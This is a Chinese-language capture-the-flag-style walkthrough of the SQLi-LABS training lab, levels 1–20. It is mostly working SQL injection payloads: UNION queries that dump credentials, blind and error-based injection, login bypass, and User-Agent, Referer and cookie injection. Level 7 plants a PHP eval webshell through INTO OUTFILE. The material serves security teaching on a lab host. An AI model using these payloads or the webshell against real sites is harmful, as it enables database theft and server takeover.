SQLI-LABS (Basic Challenges) 1-20关
Less-1
- 首先判断数据类型和闭合方式,输入:
http://192.168.91.134/sqli-labs/Less-1/?id=1'
显示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
会报错,证明我们时字符类型且闭合方式是'
- 判断是否存在注入漏洞,输入:
http://192.168.91.134/sqli-labs/Less-1/?id=1' AND '1'='1'%23 正确
http://192.168.91.134/sqli-labs/Less-1/?id=1' AND '1'='2'%23 报错
证明此处存在注入漏洞
- 利用order by查看返回的字段数
http://192.168.91.134/sqli-labs/Less-1/?id=1' order by 4%23
输入1,2,3都能正常显示,当输入4的时候报错,证明查询返回的字段数为3
- 查数据库
http://192.168.91.134/sqli-labs/Less-1/?id=-1' UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata--+
- 查数据表
http://192.168.91.134/sqli-labs/Less-1/?id=-1' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
- 查字段名
http://192.168.91.134/sqli-labs/Less-1/?id=-1' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
- 查数据
http://192.168.91.134/sqli-labs/Less-1/?id=-1' UNION SELECT 1,2,group_concat(username,':',password) from security.users--+
Less-2
- 判断是那种数据类型和闭合方式
http://192.168.91.134/sqli-labs/Less-2/?id=1 and 1=1 正确
http://192.168.91.134/sqli-labs/Less-2/?id=1 and 1=2 报错
从中可以判断该数据类型为数字型,剩下的利用方式和Less-1相同,只需把 '
去掉即可
Less-3
- 判断闭合方式
http://192.168.91.134/sqli-labs/Less-3/?id=1'
显示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
可以看出,闭合方式为 ('%id')
,剩下的利用方式和Less-1相同,只需把 '
改成 ')
即可
Less-4
- 判断闭合方式
http://192.168.91.134/sqli-labs/Less-4/?id=1"
显示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
可知闭合方式为("$id")
,剩下的利用方式和Less-1相同,只需把 '
改成 ")
即可
Less-5
- 判断闭合方式
http://192.168.91.134/sqli-labs/Less-5/?id=1'
显示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
可知闭合方式为'
- 判断注入类型
http://192.168.91.134/sqli-labs/Less-5/?id=1
http://192.168.91.134/sqli-labs/Less-5/?id=-1
这一关当我们输入正确的id时,显示You are in...........
,当我们输入错误的id时,不会显示结果,可以判断,这里需要进行盲注。
布尔盲注
使用 left() 函数进行尝试
- 判断数据库版本的第一位是否是5
http://192.168.91.134/sqli-labs/Less-5/?id=1' AND LEFT(version(),1)=5--+
- 判断数据库长度
http://192.168.91.134/sqli-labs/Less-5/?id=1' AND LENGTH(database())=8--+
- 判断数据库名字的第一位
http://192.168.91.134/sqli-labs/Less-5/?id=1' AND LEFT(database(),1)>'a'--+
Database()为 security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当 我们不知情的情况下,可以用二分法来提高注入的效率。
- 判断数据库名字的前两位
http://192.168.91.134/sqli-labs/Less-5/?id=1' AND LEFT(database(),2)>'sa'--+
使用 substr() 和 ascii() 函数进行尝试
- 判断当前库的第一个表的表名的第一个字符是否为e
http://192.168.91.134/sqli-labs/Less-5/?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=101--+
- 判断当前库的第一个表的表名的第二个字符是否为m,只需使用
substr(**,2,1)
即可.
http://192.168.91.134/sqli-labs/Less-5/?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),2,1))=109--+
- 判断当前库的第二个表的表名的第一个字符是否为r,只需使用
limit 1,1
即可
http://192.168.91.134/sqli-labs/Less-5/?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1),1,1))=114--+
使用 regexp 进行尝试
- 选择 users 表中的列名是否有 us**的列
http://192.168.91.134/sqli-labs/Less-5/?id=1' AND 1=(SELECT 1 FROM information_schema.columns WHERE table_name='users' AND column_name regexp '^us[a-z]' LIMIT 0,1)--+
- 选择 users 表中的列名是否有 username 的列
http://192.168.91.134/sqli-labs/Less-5/?id=1' AND 1=(SELECT 1 FROM information_schema.columns WHERE table_name='users' AND column_name regexp '^username' LIMIT 0,1)--+
如何知道匹配结束了?这里大部分根据一般的命名方式(经验)就可以判断。但是如何你在 无法判断的情况下,可以用 table_name regexp ‘^username$’来进行判断。^是从开头进行 匹配,$是从结尾开始判断。
上图中可以看到 username 存在。我们可以将 username 换成 password 等其他的项也是正确 的。
利用 ord()和 mid()函数获取 users 表的内容
- 获取 username 中的第一行的第一个字符的 ascii,与 68 进行比较, 即为 D。
http://192.168.91.134/sqli-labs/Less-5/?id=1' AND ORD(MID((SELECT username FROM security.users LIMIT 0,1),1,1))=68--+
而我们从表中得知第一行的数据为 Dumb。所以接下来只需要重复造轮子即可。
报错注入
- concat+rand()+group_by()导致主键重复
http://192.168.91.134/sqli-labs/Less-5/?id=1' AND (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))--+
- xpath语法错误
http://192.168.91.134/sqli-labs/Less-5/?id=1' AND ( extractvalue(1,concat(0x7e,(select @@version),0x7e)))--+
http://192.168.91.134/sqli-labs/Less-5/?id=1' AND ( updatexml(1,concat(0x7e,(select @@version),0x7e),1))--+
- 列名重复
http://192.168.91.134/sqli-labs/Less-5/?id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x--+
时间盲注
- 利用 sleep()函数进行注入
http://192.168.91.134/sqli-labs/Less-5/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
判断当前数据库名字的第一个字符的ascii码是否是115,当错误的时候会有 5 秒的时间延时。
- 利用 BENCHMARK()进行延时注入
http://192.168.91.134/sqli-labs/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
判断当前数据库名称的第一个字符的ascii码是否是115,当结果正确的时候,运行 ENCODE(‘MSG’,’by 5 seconds’)操作 50000000 次,会占用一段时间。
Less-6
- 判断闭合方式
http://192.168.91.134/sqli-labs/Less-6/?id=1"
显示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1
得出闭合方式为 "$id"
,利用方式跟Less-5相同,只需将 '
换成 "
即可。
Less-7
原码:
# 使用单引号加双层括号拼接
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
# 支持布尔盲注、延时盲注
if true:
输出 You are in.... Use outfile......
else:
输出 You have an error in your SQL syntax
//print_r(mysql_error());
因为这里把print_r(mysql_error());
给注释掉了,所以就不可以使用报错注入了,这个时候只能使用布尔盲注和延时盲注,本关的标题是 dump into outfile,意思是本关我们利用文件导入的方式进行注入。
http://192.168.91.134/sqli-labs/Less-7/?id=1')) union select 1,2,3 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-7\\test.txt"--+
上图中显示 sql 出错了,但是没有关系,我们可以在文件中看到 test.txt 已经生成
这里需要说明的是,我所使用的mysql版本中限制了导入与导出的目录权限。只允许在规定的目录下才能导入。secure-file-priv的值为NULL,需要我门在
my.ini
文件下添加secure_file_priv =
这一行后重启数据库才能够导出文件。
我们也可以导入一句话木马:
http://192.168.91.134/sqli-labs/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-7\\YIJUHUA.php"--+
我们可以在文件中看到一句话木马已经导入进去了
此时用蚁剑等webshell工具连接即可。
Less-8
这里跟Less-5一样,只不过把错误信息显示给屏蔽掉了,因此这里无法使用报错注入,只能使用盲注。
Less-9
题目显示是基于时间的盲注,而且闭合方式是单引号。查看源码:
# 使用单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持延时盲注
if true:
输出 You are in............
else:
输出 You are in...........
在上一题的基础上改变了无论正确与否都是输出You are in...........
,于是乎就无法使用布尔盲注了,只能使用时间盲注。具体方法参考Less-5。
Less-10
和Less-9的的利用方式一样,只不过参数闭合方式变成了"
Less-11
从这一关开始提交的数据要以POST的方式,这里可以使用Hackbar提交POST数据
- 判断闭合方式
uname=admin'&passwd=
显示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' and password='' LIMIT 0,1' at line 1
看出闭合方式是'
构造POST数据即可,注意一定要2个参数都要提交,不然不会显示结果
- 万能密码
uname=1'or 1=1#&passwd=
联合查询
uname=admin&passwd=1'union select 1,(SELECT GROUP_CONCAT(username,':',password) FROM users)#
报错注入
uname=admin&passwd=1' AND ( extractvalue(1,concat(0x7e,(select @@version),0x7e)))--+
uname=admin' AND (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))#&passwd=
盲注
- 布尔盲注
uname=admin' and left(database(),1)>'r'#&passwd=
uname=admin' and left(database(),1)>'s'#&passwd=
- 时间盲注
uname=admin' and if(ascii(substr(database(),1,1))>114,1,sleep(5))#&passwd=
uname=admin' and if(ascii(substr(database(),1,1))>115,1,sleep(5))#&passwd=
Less-12
- 判断闭合方式
uname=admin"&passwd=
显示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"admin"") and password=("") LIMIT 0,1' at line 1
得知参数的闭合方式为("$uname")
其他部分和Less-11相同。
Less-13
- 判断闭合方式
uname=admin'&passwd=
显示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'') and password=('') LIMIT 0,1' at line 1
看出参数的闭合方式为('$uname')
- 尝试万能密码
uname=admin') or 1=1#&passwd=
发现不会显示登陆信息,也就是说无法使用联合注入
- 尝试报错注入(成功)
uname=admin&passwd=1') AND ( extractvalue(1,concat(0x7e,(select @@version),0x7e)))--+
- 尝试盲注(成功)
布尔盲注
uname=admin') and left(database(),1)>'r'#&passwd=
时间盲注
uname=admin') and if(ascii(substr(database(),1,1))>114,1,sleep(5))#&passwd=
Less-14
- 判断闭合方式
uname=admin" &passwd=
显示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '" and password="" LIMIT 0,1' at line 1
看出闭合方式为"$uname"
,剩下的部分和Less-13一样。
Less-15
- 判断闭合方式
发现无论输入什么都不会显示错误信息,猜测屏蔽了错误信息显示,根据题目提示,闭合方式为'$uname'
。
由于屏蔽了错误信息显示,所以无法进行报错注入,同时登陆成功也没有提示信息,也无法进行联合注入,只能进行盲注。参考Less-11。
Less-16
与Less-15一样,只不过闭合方式改为了"$uname"
。
Less-17
- 判断注入点和闭合方式
uname=admin&passwd=1'
显示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1
看出注入点为passwd
参数,闭合方式为'$uname'
- 报错注入
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
- 盲注
uname=admin&passwd=1' and if(ascii(substr(database(),1,1))=115,0,sleep(5))#
- 分析源码
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
可以看出,后端对uname
参数进行了检查,这里介绍使用到的函数:
- addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:单引号'
,双引号"
,反斜杠\
,NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您 不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可 以使用函数 get_magic_quotes_gpc() 进行检测。
- stripslashes()
函数删除由 addslashes() 函数添加的反斜杠。
- mysql_real_escape_string()
函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:\x00 \n \r \ ‘ ” \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回false。
example:
$msg="I'm "superman"";
mysql_real_escape_string($msg);
$msg="I\'m \"superman\"";
说明:本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用 于 mysql_query()。
在我们 less17 的 check_input()中,对 username 进行各种转义的处理,所以此处不能使用 username 进行注入。
Less-18
- 查看源码
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
#if SQL语句有返回结果:
#执行 insert 语句
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
可以看出,后端对uname
和passwd
两个参数都进行了检查,所以无法从这里进行注入
同时发现这里使用了insert语句直接把$uagent
和$IP
插入到数据库中,并没有对其进行检查,于是我们就可以考虑利用这两个参数进行注入。
PHP 里用来获取客户端 IP 的变量
$_SERVER['HTTP_CLIENT_IP']
这个很少使用,不一定服务器都实现了。客户端可以伪造。$_SERVER['HTTP_X_FORWARDED_FOR']
,客户端可以伪造。$_SERVER['REMOTE_ADDR']
,客户端不能伪造。
这里后端使用了$_SERVER['REMOTE_ADDR']
来获取IP地址,所以这里的IP无法被伪造,因此只能考虑在uagent
入手。
- 使用Burp Suite抓包改包
由于在源码中看到,参数闭合的方式是'
,且能够返回错误信息,于是采用报错注入比较方便,把图中的User-Agent这一栏改为:
'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
Less-19
- 查看源码
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
和Less-18基本一样,只不过把$uagent
的获取改到了$_SERVER['HTTP_REFERER']
。
- 使用Burp Suite抓包改包
我们把图中Referer这一栏改为:
'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
Less-20
- 查看源码
<?php
if cookie 中不存在 uname 参数:
输出了一堆无用的信息
if 提交了 uname 和 passwd:
# 进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
if 有查询结果:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $cookee, time()+3600);
else:
print_r(mysql_error());
else:
if POST 数据里面没有 submit 参数:
$cookee = $_COOKIE['uname'];
# 直接将 cookee 通过单引号拼接到 SQL 语句中
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
if 查询无结果:
输出 mysql_error()
if 有结果:
输出查询的信息
else:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $row1['username'], time()-3600);
?>
分析源码可以看出,当我们提交了uname
和passwd
两个参数时,都对其进行了严格的检查过滤,无法进行注入,而当我们cookie中存在uname
参数且没有提交,只是刷新页面时,那么后端会直接将cookie中的uanme
参数进行查询,没有检查过滤,那么我们就可以从这里进行注入。
- 使用hackbar进行添加cookie
uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
同样地,使用联合注入也能行
uname=1' UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata--+